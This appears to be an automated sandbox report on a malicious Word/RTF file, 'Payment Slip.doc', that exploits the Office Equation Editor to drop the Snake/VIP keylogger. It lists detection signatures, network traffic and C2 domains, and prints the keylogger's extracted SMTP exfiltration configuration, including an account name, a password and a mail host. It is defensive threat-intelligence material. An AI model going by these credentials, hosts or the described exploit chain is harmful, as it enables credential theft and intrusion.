Windows Analysis Report
Payment Slip.doc

Overview

General Information

Sample name: Payment Slip.doc
Analysis ID: 1519173
MD5: 56fd8f0ced26a25748989b34f051f04c
SHA1: d163c3303db9ee003173fcd1082bf9381282baf8
SHA256: 419e260eafabf9698076436238fca33bb4c44bc1aaa02f2187d37a121ca57c80
Tags: docuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Initial sample is an obfuscated RTF file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for dropped file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Equation Editor Network Connection
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: Payment Slip.doc Avira: detected
Antivirus detection for URL or domain
Source: http://aborters.duckdns.org:8081 URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081 URL Reputation: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Avira: detection malicious, Label: HEUR/AGEN.1308792
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe Avira: detection malicious, Label: HEUR/AGEN.1308792
Found malware configuration
Source: 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "peterlog@gtpv.online", "Password": "7213575aceACE@@ ", "Host": "hosting2.ro.hostsailor.com", "Port": "587", "Version": "4.4"}
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "peterlog@gtpv.online", "Password": "7213575aceACE@@ ", "Host": "hosting2.ro.hostsailor.com", "Port": "587", "Version": "4.4"}
Multi AV Scanner detection for submitted file
Source: Payment Slip.doc ReversingLabs: Detection: 44%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe Joe Sandbox ML: detected

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 66.63.187.123 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49177 version: TLS 1.2

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 002392F9h 8_2_0023903A
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 002373EDh 8_2_00237200
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00237D77h 8_2_00237200
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 002398BBh 8_2_002394A8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_00236728
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_00236D5A
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_00236F39
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 002398BBh 8_2_002397EA
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00606349h 8_2_00606078
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00608A42h 8_2_00608748
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00602339h 8_2_00602068
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00609D62h 8_2_00609A68
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060F372h 8_2_0060F078
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00600311h 8_2_00600040
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00607111h 8_2_00606E40
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00604321h 8_2_00604050
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060B54Ah 8_2_0060B250
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060E51Ah 8_2_0060E220
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00603101h 8_2_00602E30
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060CD32h 8_2_0060CA38
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 006010D9h 8_2_00600E08
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00607ED9h 8_2_00607C08
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060FD02h 8_2_0060FA08
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00608F0Ah 8_2_00608C10
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 006050E9h 8_2_00604E18
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 006047B9h 8_2_006044E8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060E9E2h 8_2_0060E6E8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060ABBAh 8_2_0060A8C0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00603599h 8_2_006032C8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 006007A9h 8_2_006004D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 006075A9h 8_2_006072D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 006093D2h 8_2_006090D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00601571h 8_2_006012A0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00608412h 8_2_006080A0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060C3A2h 8_2_0060C0A8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00605581h 8_2_006052B0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060DB8Ah 8_2_0060D890
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00603A31h 8_2_00603760
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00600C41h 8_2_00600970
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00607A41h 8_2_00607770
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060C86Ah 8_2_0060C570
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060F83Ah 8_2_0060F540
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00605A19h 8_2_00605748
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060E052h 8_2_0060DD58
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060A22Ah 8_2_00609F30
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00601A09h 8_2_00601738
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 006027D1h 8_2_00602500
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060D1FAh 8_2_0060CF00
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 006067E1h 8_2_00606510
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060BA12h 8_2_0060B718
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00605EB1h 8_2_00605BE0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060BEDAh 8_2_0060BBE0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00603EA1h 8_2_00603BF8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060A6F2h 8_2_0060A3F8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060D6C2h 8_2_0060D3C8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00601EA1h 8_2_00601BD0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060989Ah 8_2_006095A0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00606C7Ah 8_2_006069A8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060EEAAh 8_2_0060EBB0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00604C51h 8_2_00604980
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 0060B082h 8_2_0060AD88
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00602C69h 8_2_00602998
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C1165Ah 8_2_00C11360
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C137D2h 8_2_00C134D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C11FEAh 8_2_00C11CF0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C1297Bh 8_2_00C12680
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C11192h 8_2_00C10E98
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C1033Ah 8_2_00C10040
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C14162h 8_2_00C13E68
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C1330Ah 8_2_00C13010
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C11B22h 8_2_00C11828
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C10CCAh 8_2_00C109D0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C13C9Ah 8_2_00C139A0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C124B2h 8_2_00C121B8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C12E42h 8_2_00C12B48
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C10802h 8_2_00C10508
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3B169h 8_2_00C3AEC0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C33771h 8_2_00C334C8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3CB7Bh 8_2_00C3C8D0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C35181h 8_2_00C34ED8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3E7B1h 8_2_00C3E4E0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C36B91h 8_2_00C368E8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C385A1h 8_2_00C382F8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C34D29h 8_2_00C34A80
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3E1C5h 8_2_00C3DE88
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C36739h 8_2_00C36490
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C38149h 8_2_00C37EA0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3F579h 8_2_00C3F2A8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C39B59h 8_2_00C398B0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C37CF1h 8_2_00C37A48
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C39701h 8_2_00C39458
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3AD11h 8_2_00C3AA68
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C33319h 8_2_00C33070
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3C721h 8_2_00C3C478
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C392A9h 8_2_00C39000
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3F0E1h 8_2_00C3EE10
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3C2C9h 8_2_00C3C020
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C348D1h 8_2_00C34628
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3DCD9h 8_2_00C3DA30
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C362E1h 8_2_00C36038
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3BE71h 8_2_00C3BBC8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C34479h 8_2_00C341D0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3D881h 8_2_00C3D5D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C35E89h 8_2_00C35BE0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C37899h 8_2_00C375F0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3D429h 8_2_00C3D180
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C35A31h 8_2_00C35788
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C37441h 8_2_00C37198
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C38E51h 8_2_00C38BA8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C36FE9h 8_2_00C36D40
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3FA11h 8_2_00C3F740
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C389F9h 8_2_00C38750
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3BA19h 8_2_00C3B770
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3EC49h 8_2_00C3E978
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C34021h 8_2_00C33D78
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3B5C1h 8_2_00C3B318
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C33BC9h 8_2_00C33920
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C3CFD1h 8_2_00C3CD28
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then jmp 00C355D9h 8_2_00C35330
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00D62AFC
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00D62B00
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00D65F31
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00D65F38
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: api.telegram.org
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 193.122.6.168:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 193.122.6.168:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
